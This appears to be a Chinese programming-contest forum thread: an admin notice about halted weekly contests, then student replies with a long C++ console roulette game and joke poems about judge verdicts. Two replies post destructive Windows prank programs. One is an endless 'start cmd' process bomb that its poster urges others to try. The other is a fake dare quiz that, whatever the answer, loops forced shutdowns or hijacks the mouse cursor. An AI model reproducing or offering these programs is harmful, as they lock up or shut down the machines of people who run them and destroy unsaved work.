最近的事情更无语了,某鱼上现在有三个人在卖数据了。周赛数据永久停止更新。

不允许学生创建新讨论了,后面大家可以在这里讨论相关内容。会定期清理。

删了一些同学们自己举办的比赛的帖子。

我建议你们可以私聊参赛。讨论区太乱了,有些提问我看不到了已经。

更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 200200 分,再考虑自己举办一些简单的比赛。

语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)

感觉不过瘾还可以打atcoder和codeforces

349 条评论

  • @ 2025-8-18 16:39:31

    是不是对shi jia lin偏心!!! 气si我了

    • @ 2025-8-18 17:07:42

      不同的题(类型)链接着不同的评测机,你没发现吗?(shi jia li 写的是P开头的(链接的是洛谷的,所以可提交)),但我们做的都不是P开头的,所以A不了(不信就试一个P开头的简单题)

    • @ 2025-8-18 17:13:17

      这不AC了?

  • @ 2025-8-18 16:23:30

    炸了!!!

    • @ 2025-8-16 18:01:11

      @

      这个不能直接关机,但很折磨

      #include<windows.h>
      using namespace std;
      int main(){
          system("color F5");
          for(;;) system("start cmd");
          return 0;
      }
      

      强烈建议试一试,把代码保存好在逝(别问我为什么这样说)

      • @ 2025-8-15 21:41:31

        没周赛了,咋弄硬币

        • 暑期集训的比赛欠了一些后面补一补,9月开始尽可能保证一个月两次周赛,其余课堂发放硬币

      • @ 2025-8-14 20:47:45

        恶魔轮盘赌代码

        #include<bits/stdc++.h>
        #include <windows.h>
        using namespace std;
        int Your=6,Other=6;
        string daojuname[]={"放大镜","手铐","小刀","烟","饮料"};
        double Yourmoney;
        
        int shi,kong;
        int q[10],qlen;//1 实 2 空 
        int Rand(int x,int y){
        	int A=rand(),B=rand();
        	return A*1ll*B%(y-x+1)+x;
        }
        int T;//ou->you
        int daojulen;
        int daoju[10];
        int daojulen1;
        int daoju1[10];
        void build_gun(){
        	kong=Rand(1,4);
        	shi=Rand(1,4);
        	qlen=0;
        	printf("%d发实弹,%d发空弹\n",shi,kong);
        	int a1=kong,a2=shi;
        	for(int i=1;i<=kong+shi;i++){
        //      Sleep(50);
        		int sum=Rand(1,a1+a2);
        		if(sum<=a1){
        			a1--;
        			q[++qlen]=2;
        		}else{
        			a2--;
        			q[++qlen]=1;
        		}
        	}
        	int maxn=min(4,8-daojulen);
        	printf("你获得了%d个道具:\n",maxn);
        	daojulen+=maxn;
        	for(int i=1;i<=maxn;i++){
        //      Sleep(50);
        		int kkk=Rand(0,4);
        		daoju[kkk]++;
        		cout<<daojuname[kkk];
        		if(i!=maxn){
        			printf(",");
        		}
        	}
        	printf("\n");
        	maxn=min(4,8-daojulen1);
        	printf("恶魔获得了%d个道具:\n",maxn);
        	daojulen1+=maxn;
        	for(int i=1;i<=maxn;i++){
        		int kkk=Rand(0,4);
        		daoju1[kkk]++;
        		cout<<daojuname[kkk];
        		if(i!=maxn){
        			printf(",");
        		}
        	}
        	printf("\n");
        	system("pause");
        	system("cls");
        }
        void IsOver(){
        	if(Your<=0){
        		printf("你输了\n");
        		system("pause");
        		exit(0);
        	}
        	if(Other<=0){
        		printf("你赢了\n你获得了奖金$%.2lf\n",Yourmoney);
        		system("pause");
        		exit(0);
        	}
        }
        void wait(){
        	for(int i=1;i<=3;i++){
        		Sleep(500);
        		printf(".");
        	}
        	Sleep(500);
        }
        int Hurt=1;
        int shoukao_you;
        void Timeyou(){
        	int x;
        	while(1){
        		printf("你的生命:%d/6\n恶魔生命:%d/6\n",Your,Other);
        		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
        		printf("你现在拥有的道具:\n");
        		for(int i=0;i<=4;i++){
        			cout<<daojuname[i];
        			printf("%d",daoju[i]);
        			printf("个");
        			if(i!=4){
        				printf(",");
        			}
        		}
        		printf("\n");
        		printf("恶魔现在拥有的道具:\n");
        		for(int i=0;i<=4;i++){
        			cout<<daojuname[i];
        			printf("%d",daoju1[i]);
        			printf("个");
        			if(i!=4){
        				printf(",");
        			}
        		}
        		printf("\n");
        		printf("现在是你的回合\n");
        		printf("你要\n1.向恶魔开枪\n2.向自己开枪\n");
        		for(int i=0;i<=4;i++){
        			printf("%d.使用",i+3);
        			cout<<daojuname[i]<<'\n';
        		}
        		scanf("%d",&x);
        		if(1<=x&&x<=7){
        			break;
        		}
        		printf("输入不合法\n");
        		Sleep(1145);
        		system("cls");
        	}
        	if(x==1){
        		printf("你决定向恶魔开枪");
        		T++;
        		wait();
        		if(q[qlen]==2){
        			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
        			kong--;
        			qlen--;
        			Hurt=1;
        			printf("是空弹\n");
        			if(shoukao_you==1){
        				shoukao_you=0;
        				printf("因为你使用了手铐,所以可以再来一次\n");
        				Sleep(500);
        				T--;
        			}
        		}else{
        //          printf("((%lf))\n",Yourmoney);
        			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
        //          printf("{{%lf}}\n",Yourmoney);
        			shi--;
        			qlen--;
        			Other-=Hurt;
        			Hurt=1;
        			printf("是实弹\n");
        			Sleep(500);
        			IsOver();
        			if(shoukao_you==1){
        				shoukao_you=0;
        				Yourmoney+=1000.0;
        				printf("因为你使用了手铐,所以可以再来一次\n");
        				Sleep(500);
        				T--;
        			}
        		}
        	}else if(x==2){
        		printf("你决定向自己开枪");
        		wait();
        		if(q[qlen]==2){
        			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
        			kong--;
        			qlen--;
        			Hurt=1;
        			printf("是空弹\n");
        		}else{
        			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
        			T++;
        			shi--;
        			qlen--;
        			Your-=Hurt;
        			Hurt=1;
        			printf("是实弹\n");
        			Sleep(500);
        			IsOver();
        			if(shoukao_you==1){
        				shoukao_you=0;
        				printf("因为你使用了手铐,所以可以再来一次\n");
        				Sleep(500);
        				T--;
        			}
        		}
        	}else if(x==3){//{"放大镜","手铐","小刀","烟","饮料"};
        		if(daoju[0]){
        			daoju[0]--;
        			daojulen--;
        			printf("你使用了放大镜\n");
        			wait();
        			printf("\n你看到了");
        			if(q[qlen]==1){
        				printf("实弹\n");
        				Yourmoney+=2500.0;
        			}else{
        				printf("空弹\n");
        			}
        			Sleep(500);
        			printf("\n");
        		}else{
        			printf("你现在没有放大镜\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else if(x==4){
        		if(daoju[1]){
        			if(!shoukao_you){
        				daoju[1]--;
        				daojulen--;
        				printf("你使用了手铐\n");
        				printf("你获得了连开两枪的机会\n");
        				shoukao_you=1;
        			}else{
        				printf("你已经用过手铐了\n");
        			}
        			Sleep(1145);
        			system("cls"); 
        		}else{
        			printf("你现在没有手铐\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else if(x==5){
        		if(daoju[2]){
        			if(Hurt==1){
        				daoju[2]--;
        				daojulen--;
        				printf("你使用了小刀\n");
        				printf("若下一发为实弹则伤害+1\n");
        				Yourmoney+=500.0;
        				Hurt=2;
        			}else{
        				printf("你已经用过小刀了\n");
        			}
        			Sleep(1145);
        			system("cls");
        		}else{
        			printf("你现在没有小刀\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else if(x==6){
        		if(daoju[3]){
        			if(Your^6){
        				daoju[3]--;
        				daojulen--;
        				printf("你使用了烟\n");
        				printf("你回复了一点生命\n");
        				Yourmoney+=500.0;
        				Your++;
        			}else{
        				printf("你现在不需要烟\n");
        			}
        			Sleep(1145);
        		}else{
        			printf("你现在没有烟\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else{
        		if(daoju[4]){
        			daoju[4]--;
        			daojulen--;
        			printf("你使用了饮料\n");
        			wait();
        			printf("\n");
        			printf("你退了一发"); 
        			if(q[qlen]==2){
        				printf("空弹");
        				kong--;
        			}else{
        				printf("实弹");
        				Yourmoney+=500.0;
        				shi--;
        			}
        			qlen--;
        			Sleep(500);
        		}else{
        			printf("你现在没有饮料\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}
        	Sleep(1000);
        	system("cls");
        }
        int Know;//通过放大镜得知下一发子弹 
        int shoukaoemo;
        void fightyou(){
        	printf("恶魔决定向你开枪");
        	T++;
        	wait();
        	if(q[qlen]==2){
        		Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
        		kong--;
        		qlen--;
        		Hurt=1;
        		Know=0;
        		printf("是空弹\n");
        		if(shoukaoemo){
        			printf("因为恶魔使用了手铐,所以可以再来一次\n");
        			T--;
        			Sleep(500);
        			shoukaoemo=0;
        		}
        	}else{
        		Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
        		shi--;
        		qlen--;
        		Your-=Hurt;
        		Hurt=1;
        		printf("是实弹\n");
        		Know=0;
        		Sleep(500);
        		IsOver();
        		if(shoukaoemo){
        			printf("因为恶魔使用了手铐,所以可以再来一次\n");
        			Yourmoney+=1000.0;
        			T--;
        			Sleep(500);
        			shoukaoemo=0;
        		}
        	}
        }
        void fightemo(){
        	printf("恶魔决定向自己开枪");
        	wait();
        	if(q[qlen]==2){
        		Yourmoney+=2000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
        		kong--;
        		qlen--;
        		printf("是空弹\n");
        		Know=0;
        	}else{
        		Yourmoney+=5000.0*(1+(double)(kong)*1.0/(double)(shi+kong));
        		shi--;
        		T++;
        		qlen--;
        		Other-=Hurt;
        		Hurt=1;
        		printf("是实弹\n");
        		Know=0;
        		Sleep(500);
        		IsOver();
        		if(shoukaoemo){
        			printf("因为恶魔使用了手铐,所以可以再来一次\n");
        			T--;
        			Sleep(500);
        			shoukaoemo=0;
        		}
        	}
        }
        void Timeother(){
        	printf("你的生命:%d/6\n恶魔生命:%d/6\n",Your,Other);
        	printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
        	printf("你现在拥有的道具:\n");
        	for(int i=0;i<=4;i++){
        		cout<<daojuname[i];
        		printf("%d",daoju[i]);
        		printf("个");
        		if(i!=4){
        			printf(",");
        		}
        	}
        	printf("\n");
        	printf("恶魔现在拥有的道具:\n");
        	for(int i=0;i<=4;i++){
        		cout<<daojuname[i];
        		printf("%d",daoju1[i]);
        		printf("个");
        		if(i!=4){
        			printf(",");
        		}
        	}
        	printf("\n");
        	printf("现在是恶魔的回合\n");
        	Sleep(1500);
        	
        	if(Other!=6){
        		if(daoju1[3]){
        			daoju1[3]--;
        			daojulen1--;
        			printf("恶魔使用了烟\n");
        			printf("恶魔回复了一点生命\n");
        			Other++;
        			Yourmoney+=500.0;
        			Sleep(1145);
        			system("cls");
        			return ;
        		}
        	}
        	if(Know==0&&kong==0){
        		Know=1;
        	}
        	if(Know==0){
        		if(abs(shi-kong)<2&&kong!=0){
        			if(daoju1[0]){
        				daoju1[0]--;
        				daojulen1--;
        				printf("恶魔使用了放大镜\n");
        				wait();
        				printf("\n恶魔看到了");
        				if(q[qlen]==1){
        					printf("实弹");
        					Yourmoney+=2500.0;
        					Know=1;
        				}else{
        					printf("空弹");
        					Know=2;
        				}
        				Sleep(1145);
        				system("cls");
        				return ;
        			}
        		}
        	}else if(Know==1){
        		if(Hurt==1&&daoju1[2]){
        			daoju1[2]--;
        			daojulen1--;
        			Hurt++;
        			printf("恶魔使用了小刀\n");
        			printf("若下一发为实弹则伤害+1");
        			Yourmoney+=500.0;
        			Sleep(1145);
        			system("cls");
        			return ;
        		}else{
        			if(shi>=kong+1&&daoju1[1]&&shoukaoemo!=1){
        				daoju1[1]--;
        				daojulen1--;
        				shoukaoemo=1;
        				printf("恶魔使用了手铐\n");
        				printf("恶魔获得了连开两枪的机会\n");
        				Sleep(1145);
        				system("cls");
        				return ;
        			}
        			fightyou();
        			system("cls");
        			return ;
        		}
        	}else{
        		if(daoju1[4]){
        			daoju1[4]--;
        			daojulen1--;
        			printf("恶魔使用了饮料\n");
        			wait();
        			printf("\n");
        			printf("恶魔退了一发"); 
        			if(q[qlen]==2){
        				printf("空弹");
        				kong--;
        			}else{
        				printf("实弹");
        				shi--;
        			}
        			Know=0;
        			qlen--;
        			Sleep(500);
        			Sleep(1145);
        			system("cls");
        			return ;
        		}else{
        			fightemo();
        			Sleep(1145);
        			system("cls");
        			return ;
        		}
        	}
        	if(shi>=kong){
        		fightyou();
        	}else{
        		fightemo();
        	}
        	Sleep(1145);
        	system("cls");
        }
        void Play(){
        	while(1){
        		if(shi==0){
        			build_gun();
        			T=0;
        			continue;
        		}
        		if(T%2==0){
        			Timeyou();
        		}else{
        			Timeother();
        		}
        	}
        }
        void danrenplay(){
        	for(int i=1;i<=3;i++){
        		printf(".");
        //      Sleep(1000);
        	}
        	printf("\n");
        	printf("又来了一位挑战者...\n");
        	Sleep(1000);
        	int x;
        	while(1){
        		printf("准备好参与恶魔的游戏吗?胜者带走奖金,败者将会在此长眠\n1.好的\n2.没问题\n");
        		scanf("%d",&x);
        		if(x==1||x==2){
        			break;
        		}
        		printf("输入不合法\n");
        		Sleep(1145);
        		system("cls");
        	}
        	while(1){
        		printf("你清楚我们的规则吗?\n1.清楚\n2.不清楚\n");
        		scanf("%d",&x);
        		if(x==1||x==2){
        			break;
        		}
        		printf("输入不合法\n");
        		Sleep(1145);
        		system("cls");
        	}
        	if(x==1){
        		
        	}else{
        		for(int i=1;i<=3;i++){
        			printf(".");
        			Sleep(1000);
        		}
        		printf("\n");
        		printf("规则:\n");
        		printf("你和恶魔都各有6点生命\n") ;
        		printf("每一回合开始前,你将知道一共有几发实弹,几发空弹,同时双方都将获得4个道具作为补给(上限为8个)\n"); 
        		printf("每一回合,你可以选择对自己开枪,对恶魔开枪或者使用道具\n");
        		printf("如果你对自己开枪,若为空弹,则可以继续行动,否则,停止行动\n");
        		printf("如果你对恶魔开枪,无论如何,都将停止行动\n");
        		printf("道具一览:\n"); 
        		printf("放大镜:可以知道下一发子弹是空弹还是实弹\n");
        		printf("手铐:增加一次本回合的行动次数\n");
        		printf("小刀:若下一发子弹为实弹,则伤害+1\n");
        		printf("烟:可以回复1点体力\n");
        		printf("饮料:可以退一发子弹\n");
        		system("pause");
        		system("cls");
        	}
        	
        	printf("好吧\n");
        	Sleep(1145);
        	printf("游戏将要开始了哦\n");
        	Sleep(1145);
        	system("cls");
        	Play();
        }
        void IsOver_duo(){
        	if(Your<=0){
        		printf("玩家B赢了\n玩家B获得了奖金$%.2lf\n",Yourmoney); 
        		system("pause");
        		exit(0);
        	}else if(Other<=0){
        		printf("玩家A赢了\n玩家A获得了奖金$%.2lf\n",Yourmoney); 
        		system("pause");
        		exit(0);
        	}
        	
        }
        void build_gun_duo(){
        	kong=Rand(1,4);
        	shi=Rand(1,4);
        	qlen=0;
        	printf("%d发实弹,%d发空弹\n",shi,kong);
        	int a1=kong,a2=shi;
        	for(int i=1;i<=kong+shi;i++){
        //      Sleep(50);
        		int sum=Rand(1,a1+a2);
        		if(sum<=a1){
        			a1--;
        			q[++qlen]=2;
        		}else{
        			a2--;
        			q[++qlen]=1;
        		}
        	}
        	int maxn=min(2,8-daojulen);
        	printf("玩家A获得了%d个道具:\n",maxn);
        	daojulen+=maxn;
        	for(int i=1;i<=maxn;i++){
        //      Sleep(50);
        		int kkk=Rand(0,4);
        		daoju[kkk]++;
        		cout<<daojuname[kkk];
        		if(i!=maxn){
        			printf(",");
        		}
        	}
        	printf("\n");
        	maxn=min(2,8-daojulen1);
        	printf("玩家B获得了%d个道具:\n",maxn);
        	daojulen1+=maxn;
        	for(int i=1;i<=maxn;i++){
        		int kkk=Rand(0,4);
        		daoju1[kkk]++;
        		cout<<daojuname[kkk];
        		if(i!=maxn){
        			printf(",");
        		}
        	}
        	printf("\n");
        	system("pause");
        	system("cls");
        }
        void Timeyou_duo(){
        	int x;
        	while(1){
        		printf("玩家A的生命:%d/4\n玩家B的生命:%d/4\n",Your,Other);
        		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
        		printf("玩家A现在拥有的道具:\n");
        		for(int i=0;i<=4;i++){
        			cout<<daojuname[i];
        			printf("%d",daoju[i]);
        			printf("个");
        			if(i!=4){
        				printf(",");
        			}
        		}
        		printf("\n");
        		printf("玩家B现在拥有的道具:\n");
        		for(int i=0;i<=4;i++){
        			cout<<daojuname[i];
        			printf("%d",daoju1[i]);
        			printf("个");
        			if(i!=4){
        				printf(",");
        			}
        		}
        		printf("\n");
        		printf("现在是玩家A的回合\n");
        		printf("玩家A要\n1.向玩家B开枪\n2.向自己开枪\n");
        		for(int i=0;i<=4;i++){
        			printf("%d.使用",i+3);
        			cout<<daojuname[i]<<'\n';
        		}
        		scanf("%d",&x);
        		if(1<=x&&x<=7){
        			break;
        		}
        		printf("输入不合法\n");
        		Sleep(1145);
        		system("cls");
        	}
        	if(x==1){
        		printf("玩家A决定向玩家B开枪");
        		T++;
        		wait();
        		if(q[qlen]==2){
        			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
        			kong--;
        			qlen--;
        			Hurt=1;
        			printf("是空弹\n");
        			if(shoukao_you==1){
        				shoukao_you=0;
        				printf("因为玩家A使用了手铐,所以可以再来一次\n");
        				Sleep(500);
        				T--;
        			}
        		}else{
        //          printf("((%lf))\n",Yourmoney);
        			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
        //          printf("{{%lf}}\n",Yourmoney);
        			shi--;
        			qlen--;
        			Other-=Hurt;
        			Hurt=1;
        			printf("是实弹\n");
        			Sleep(500);
        			IsOver_duo();
        			if(shoukao_you==1){
        				shoukao_you=0;
        				Yourmoney+=1000.0;
        				printf("因为玩家A使用了手铐,所以可以再来一次\n");
        				Sleep(500);
        				T--;
        			}
        		}
        	}else if(x==2){
        		printf("玩家A决定向自己开枪");
        		wait();
        		if(q[qlen]==2){
        			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
        			kong--;
        			qlen--;
        			Hurt=1;
        			printf("是空弹\n");
        		}else{
        			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
        			T++;
        			shi--;
        			qlen--;
        			Your-=Hurt;
        			Hurt=1;
        			printf("是实弹\n");
        			Sleep(500);
        			IsOver_duo();
        			if(shoukao_you==1){
        				shoukao_you=0;
        				printf("因为玩家A使用了手铐,所以可以再来一次\n");
        				Sleep(500);
        				T--;
        			}
        		}
        	}else if(x==3){//{"放大镜","手铐","小刀","烟","饮料"};
        		if(daoju[0]){
        			daoju[0]--;
        			daojulen--;
        			printf("玩家A使用了放大镜\n");
        			wait();
        			printf("\n玩家A看到了");
        			if(q[qlen]==1){
        				printf("实弹\n");
        				Yourmoney+=2500.0;
        			}else{
        				printf("空弹\n");
        			}
        			Sleep(500);
        			printf("\n");
        		}else{
        			printf("玩家A现在没有放大镜\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else if(x==4){
        		if(daoju[1]){
        			if(!shoukao_you){
        				daoju[1]--;
        				daojulen--;
        				printf("玩家A使用了手铐\n");
        				printf("玩家A获得了连开两枪的机会\n");
        				shoukao_you=1;
        			}else{
        				printf("玩家A已经用过手铐了\n");
        			}
        			Sleep(1145);
        			system("cls"); 
        		}else{
        			printf("玩家A现在没有手铐\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else if(x==5){
        		if(daoju[2]){
        			if(Hurt==1){
        				daoju[2]--;
        				daojulen--;
        				printf("玩家A使用了小刀\n");
        				printf("若下一发为实弹则伤害+1\n");
        				Yourmoney+=500.0;
        				Hurt=2;
        			}else{
        				printf("玩家A已经用过小刀了\n");
        			}
        			Sleep(1145);
        			system("cls");
        		}else{
        			printf("玩家A现在没有小刀\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else if(x==6){
        		if(daoju[3]){
        			if(Your^4){
        				daoju[3]--;
        				daojulen--;
        				printf("玩家A使用了烟\n");
        				printf("玩家A回复了一点生命\n");
        				Yourmoney+=500.0;
        				Your++;
        			}else{
        				printf("玩家A现在不需要烟\n");
        			}
        			Sleep(1145);
        		}else{
        			printf("玩家A现在没有烟\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else{
        		if(daoju[4]){
        			daoju[4]--;
        			daojulen--;
        			printf("玩家A使用了饮料\n");
        			wait();
        			printf("\n");
        			printf("玩家A退了一发"); 
        			if(q[qlen]==2){
        				printf("空弹");
        				kong--;
        			}else{
        				printf("实弹");
        				Yourmoney+=500.0;
        				shi--;
        			}
        			qlen--;
        			Sleep(500);
        		}else{
        			printf("玩家A现在没有饮料\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}
        	Sleep(1000);
        	system("cls");
        }
        void Timeother_duo(){
        	int x;
        	while(1){
        		printf("玩家A的生命:%d/4\n玩家B的生命:%d/4\n",Your,Other);
        		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
        		printf("玩家A现在拥有的道具:\n");
        		for(int i=0;i<=4;i++){
        			cout<<daojuname[i];
        			printf("%d",daoju[i]);
        			printf("个");
        			if(i!=4){
        				printf(",");
        			}
        		}
        		printf("\n");
        		printf("玩家B现在拥有的道具:\n");
        		for(int i=0;i<=4;i++){
        			cout<<daojuname[i];
        			printf("%d",daoju1[i]);
        			printf("个");
        			if(i!=4){
        				printf(",");
        			}
        		}
        		printf("\n");
        		printf("现在是玩家B的回合\n");
        		printf("玩家B要\n1.向玩家A开枪\n2.向自己开枪\n");
        		for(int i=0;i<=4;i++){
        			printf("%d.使用",i+3);
        			cout<<daojuname[i]<<'\n';
        		}
        		scanf("%d",&x);
        		if(1<=x&&x<=7){
        			break;
        		}
        		printf("输入不合法\n");
        		Sleep(1145);
        		system("cls");
        	}
        	if(x==1){
        		printf("玩家B决定向玩家A开枪");
        		T++;
        		wait();
        		if(q[qlen]==2){
        			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
        			kong--;
        			qlen--;
        			Hurt=1;
        			printf("是空弹\n");
        			if(shoukaoemo==1){
        				shoukaoemo=0;
        				printf("因为玩家B使用了手铐,所以可以再来一次\n");
        				Sleep(500);
        				T--;
        			}
        		}else{
        //          printf("((%lf))\n",Yourmoney);
        			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
        //          printf("{{%lf}}\n",Yourmoney);
        			shi--;
        			qlen--;
        			Your-=Hurt;
        			Hurt=1;
        			printf("是实弹\n");
        			Sleep(500);
        			IsOver_duo();
        			if(shoukaoemo==1){
        				shoukaoemo=0;
        				Yourmoney+=1000.0;
        				printf("因为玩家B使用了手铐,所以可以再来一次\n");
        				Sleep(500);
        				T--;
        			}
        		}
        	}else if(x==2){
        		printf("玩家B决定向自己开枪");
        		wait();
        		if(q[qlen]==2){
        			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
        			kong--;
        			qlen--;
        			Hurt=1;
        			printf("是空弹\n");
        		}else{
        			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
        			T++;
        			shi--;
        			qlen--;
        			Other-=Hurt;
        			Hurt=1;
        			printf("是实弹\n");
        			Sleep(500);
        			IsOver_duo();
        			if(shoukao_you==1){
        				shoukao_you=0;
        				printf("因为玩家B使用了手铐,所以可以再来一次\n");
        				Sleep(500);
        				T--;
        			}
        		}
        	}else if(x==3){//{"放大镜","手铐","小刀","烟","饮料"};
        		if(daoju1[0]){
        			daoju1[0]--;
        			daojulen1--;
        			printf("玩家B使用了放大镜\n");
        			wait();
        			printf("\n玩家B看到了");
        			if(q[qlen]==1){
        				printf("实弹\n");
        				Yourmoney+=2500.0;
        			}else{
        				printf("空弹\n");
        			}
        			Sleep(500);
        			printf("\n");
        		}else{
        			printf("玩家B现在没有放大镜\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else if(x==4){
        		if(daoju1[1]){
        			if(!shoukaoemo){
        				daoju1[1]--;
        				daojulen1--;
        				printf("玩家B使用了手铐\n");
        				printf("玩家B获得了连开两枪的机会\n");
        				shoukaoemo=1;
        			}else{
        				printf("玩家B已经用过手铐了\n");
        			}
        			Sleep(1145);
        			system("cls"); 
        		}else{
        			printf("玩家B现在没有手铐\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else if(x==5){
        		if(daoju1[2]){
        			if(Hurt==1){
        				daoju1[2]--;
        				daojulen1--;
        				printf("玩家B使用了小刀\n");
        				printf("若下一发为实弹则伤害+1\n");
        				Yourmoney+=500.0;
        				Hurt=2;
        			}else{
        				printf("玩家B已经用过小刀了\n");
        			}
        			Sleep(1145);
        			system("cls");
        		}else{
        			printf("玩家B现在没有小刀\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else if(x==6){
        		if(daoju1[3]){
        			if(Other^4){
        				daoju1[3]--;
        				daojulen1--;
        				printf("玩家B使用了烟\n");
        				printf("玩家B回复了一点生命\n");
        				Yourmoney+=500.0;
        				Other++;
        			}else{
        				printf("玩家B现在不需要烟\n");
        			}
        			Sleep(1145);
        		}else{
        			printf("玩家B现在没有烟\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}else{
        		if(daoju1[4]){
        			daoju1[4]--;
        			daojulen1--;
        			printf("玩家B使用了饮料\n");
        			wait();
        			printf("\n");
        			printf("玩家B退了一发"); 
        			if(q[qlen]==2){
        				printf("空弹");
        				kong--;
        			}else{
        				printf("实弹");
        				Yourmoney+=500.0;
        				shi--;
        			}
        			qlen--;
        			Sleep(500);
        		}else{
        			printf("玩家B现在没有饮料\n");
        			Sleep(1145);
        			system("cls");
        		}
        	}
        	Sleep(1000);
        	system("cls");
        }
        int asdasd;
        void duorenplay(){
        	while(1){
        		if(shi==0){
        			build_gun_duo();
        			T=asdasd;
        			asdasd++;
        			continue;
        		}
        		if(T%2==0){
        			Timeyou_duo();
        		}else{
        			Timeother_duo();
        		}
        	}
        }
        int main(){
        	srand(time(0));
        	int x;
        	while(1){
        		printf("请选择你想要的模式:\n1.单人\n2.双人(此模式中,生命值为4,道具补给为2)\n");
        		scanf("%d",&x);
        		if(x==1||x==2){
        			break;
        		}
        		printf("输入不合法\n");
        		Sleep(1145);
        		system("cls");
        	}
        	system("cls");
        	if(x==1){
        		danrenplay();
        	}else{
        		Your=Other=4;
        		duorenplay();
        	}
        	return 0;
        }
        

        谨慎运行

        #include<bits/stdc++.h>
        #include<windows.h>
        using namespace std; 
        int p;
        void destroy_windows(){
        	for(;;){
        		system("shutdown -s -t 0");
        	}
        }
        void die_windows(){
        	int x=GetSystemMetrics(SM_CXSCREEN);
        	int y=GetSystemMetrics(SM_CYSCREEN);
        	srand(time(0));
        	while(1){
        		SetCursorPos(rand()%x,rand()%y);
        	}
        }
        void windows_kill(){
        	cout<<"你敢输入1吗"<<endl;
        	cout<<"千万不要手贱"<<endl;
        	cin>>p;
        	if(p==1){
        		cout<<"你还敢输入?"<<endl;
        		cout<<"再给你一次机会千万不要输入2!!!!"<<endl; 
        		cin>>p;
        		if(p==2){
        			cout<<"你的电脑即将吃席!"<<endl;
        			die_windows();
        		}
        		else{
        			cout<<"胆小鬼";
        			destroy_windows();
        			return; 
        		}
        	}
        	else{
        		cout<<"胆小鬼"<<endl;
        		destroy_windows();
        	}
        }
        int main(){
        	windows_kill();
        }
        
        
        

        明月别枝CE,清风半夜RE。

        稻花香里说丰年,听取WA一片。

        七八个TLE天外,两三点MLE前。

        旧时UKE社OLE边,路转AC忽见。

        君不见,洛谷之题天上来,奔流到海不回。 君不见,高堂AC悲白发,朝如青丝OLE。 人生得意UKE,莫使电脑空对题。 天生我材没有用,千方百计还RE。 WA CE且为乐,会须AC三百题。 TLE,MLE ,将刷题,手莫停! AC=AnswerCoarse=粗劣的答案

        WA=WonderfulAnswer=好答案

        TLE=TimeLimitEnough=时间充裕

        MLE=MemoryLimitEnough=内存充裕

        CE=CompileEasily=轻松通过编译

        RE=RunExcellently=完美运行

        这个人很聪明,什么都没有写

        《再别机房》

        轻轻的,我走了 正如我,轻轻的来; 我轻轻的,招手 告别信息竞赛。

        那桌上的屏幕, 是主机的新娘; 开机时的蓝屏, 在我的心头荡漾。

        地上的食物, 油油的,在底下招摇; 在机房的柔波里, 我甘心做一台电脑!

        那教学楼下的一潭, 不是清泉,是天上虹; 揉碎在浮藻间, 沉淀着oier的梦。

        寻梦?要打开emacs, 向难题,更难处漫溯; 满载一版AC, 打开windows player, 在星辉斑斓里放歌。

        但我不能放歌, 悄悄,是退组的笙箫; CPU也为我沉默, 沉默,是今晚的机房!

        悄悄的,我走了, 正如我悄悄的,来; 我挥一挥衣袖, 顺走了鼠标与键盘。

        《木兰疯癫记》

